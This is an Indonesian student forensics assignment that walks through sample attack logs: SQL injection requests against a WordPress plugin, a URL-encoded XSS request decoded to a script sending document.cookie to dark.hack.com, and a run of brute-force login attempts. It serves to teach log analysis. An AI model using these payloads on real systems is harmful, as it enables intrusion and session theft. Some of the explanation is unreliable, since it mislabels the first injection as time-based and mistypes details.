TUGAS COMPUTER FORENSIC

CONTOH LOG SERANGAN

DATA DIRI ANGGOTA

2540120603
Nicolas Saputra Gunawan

2540124620
Jeffrey Jingga

2540119633
Mikael Wiryamanta Wijaya

2540124740
Satya Kusuma

2540115181
Pitra Winarianto

DAFTAR ISI

SQL Injection

```
84.55.41.57- - [14/APR/2016:08:22:13 0100] "GET /WORDPRESS/WP-
CONTENT/PLUGINS/CUSTOM_PLUGIN/CHECK_USER.PHP?USERID=1 AND (SELECT 6810 FROM(SELECT
COUNT(*),CONCAT(0X7171787671,(SELECT (ELT(6810=6810,1))),0X71707A7871,FLOOR(RAND(0)*2))X
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY X)A) HTTP/1.1" 200 166 "-" "MOZILLA/5.0
(WINDOWS; U; WINDOWS NT 6.1; RU; RV:1.9.2.3) GECKO/20100401 FIREFOX/4.0 (.NET CLR
3.5.30729)"

84.55.41.57- - [14/APR/2016:08:22:27 0100] "GET /WORDPRESS/WP-
CONTENT/PLUGINS/CUSTOM_PLUGIN/CHECK_USER.PHP?USERID=1 UNION ALL SELECT
CONCAT(0X7171787671,0X537653544175467A724F,0X71707A7871),NULL,NULL-- HTTP/1.1" 200 182 "-"
"MOZILLA/5.0 (WINDOWS; U; WINDOWS NT 6.1; RU; RV:1.9.2.3) GECKO/20100401 FIREFOX/4.0 (.NET
CLR 3.5.30729)"
```

SQL Injection (log explaination)

Pada contoh sebelumnya, diberikan 2 log yang mengindikasikan serangan sql injection, akan tetapi keduanya memliki jenis yang berbeda. Untuk log yang pertama merupakan blind-sqli. Pernyataan ini didukung dengan kueri yang dimasukkan (berwarna merah), kami berspekulasi bahwa attacker ingin mengecek sebuah kondisi benar atau salah berdasarkan waktu dari aplikasi untuk merespon. Pada ksus ini attacker ingin mengecek jika kondisi 681-=8610 adalah benar, maka buatlah sebuah respon berdasarkan hal tersebut.

Untuk contoh log kedua, teridentifikasi union-based sqli attack. Pernyataan ini didukung dengan adanya penggunaan kueri union, penggunaan query ini bertujuan untuk menggabungkan hasil dari dua malicious kueri yang dimasukkan, lalu terdapat pula data spesifik dalam bentuk hex sebagai bagian dari kueri.

XSS

192.168.0.252 - - [05/AUG/2009:15:16:42 -0400] “GET /VIEW?CONTENT=%3C%2F%73%65%6C%65%63%74%3E%3C%73%63%72%69%70%74%3E%66%65%74%63%68%28%60%68%74%74%70%73%3A%2F%2F%64%61%72%6B%2E%68%61%63%6B%2E%63%6F%6D%2F%72%65%74%72%69%65%76%65%3F%63%6F%6F%6B%69%65%3D%24%7B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%7D%60%29%3C%2F%73%63%72%69%70%74%3E HTTP/1.1″ 404 310 “-” “MOZILLA/5.0 (X11; U; LINUX X86_64; EN-US; RV:1.9.0.12)GECKO/2009070812 UBUNTU/8.04 (HARDY) FIREFOX/3.0.12″

XSS (log explaination)

Berdasarkan contoh log tersebut, diketahui terdapat special encoding yang dilakukan pada request yang diberikan oleh user (teks yang diberi warna merah). Disini kami berspekulasi bahwa attacker ingin memasukkan malicious payload dengan melakukan url encoding pada request data. Setelah didecode, didapati hasil sebagai berikut:

</select><script>fetch(`https://dark.hack.com/retrieve?cookie=${document.cookie}`)</script>

Berdasarkan payload xss di atas, kami berspekulasi bahwa attacker ingin mengirim cookie user ke remote server pada hostname dark.hack.com. Hal ini dapat dimanfaatkan untuk mencuri data sensitif user yang disimpan dalam cookie.

BRUTEFORCE

```
192.168.1.100 - - [30/Oct/2023:12:00:01 +0000] "GET /login HTTP/1.1" 401 1433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.1234.567 Safari/537.36" "http://example.com/home" "Failed login attempt: username=admin, password=123456"
192.168.1.100 - - [30/Oct/2023:12:00:05 +0000] "GET /login HTTP/1.1" 401 1433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.1234.567 Safari/537.36" "http://example.com/home" "Failed login attempt: username=admin, password=password123"
192.168.1.100 - - [30/Oct/2023:12:00:10 +0000] "GET /login HTTP/1.1" 401 1433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.1234.567 Safari/537.36" "http://example.com/home" "Failed login attempt: username=admin, password=letmein"
192.168.1.100 - - [30/Oct/2023:12:00:15 +0000] "GET /login HTTP/1.1" 401 1433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.1234.567 Safari/537.36" "http://example.com/home" "Failed login attempt: username=admin, password=1234"
192.168.1.100 - - [30/Oct/2023:12:00:20 +0000] "GET /login HTTP/1.1" 401 1433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.1234.567 Safari/537.36" "http://example.com/home" "Failed login attempt: username=admin, password=987654"
```

BRUTEFORCE (log explaination)

Berdasarkan contoh log tersebut, terdapat request yang dilakukan berulang kali terhadap endpoint /login.php. Namun setiap request menghasilkan response dengan status code 401 yang mengindikasikan bahwa client gagal untuk memberikan kredensial yang sesuai dengan yang tercatat di server. Mengetahui hal ini, kami berspekulasi bahwa nampaknya attacker melakukan bruteforce login pada halaman login.php

THANK YOU!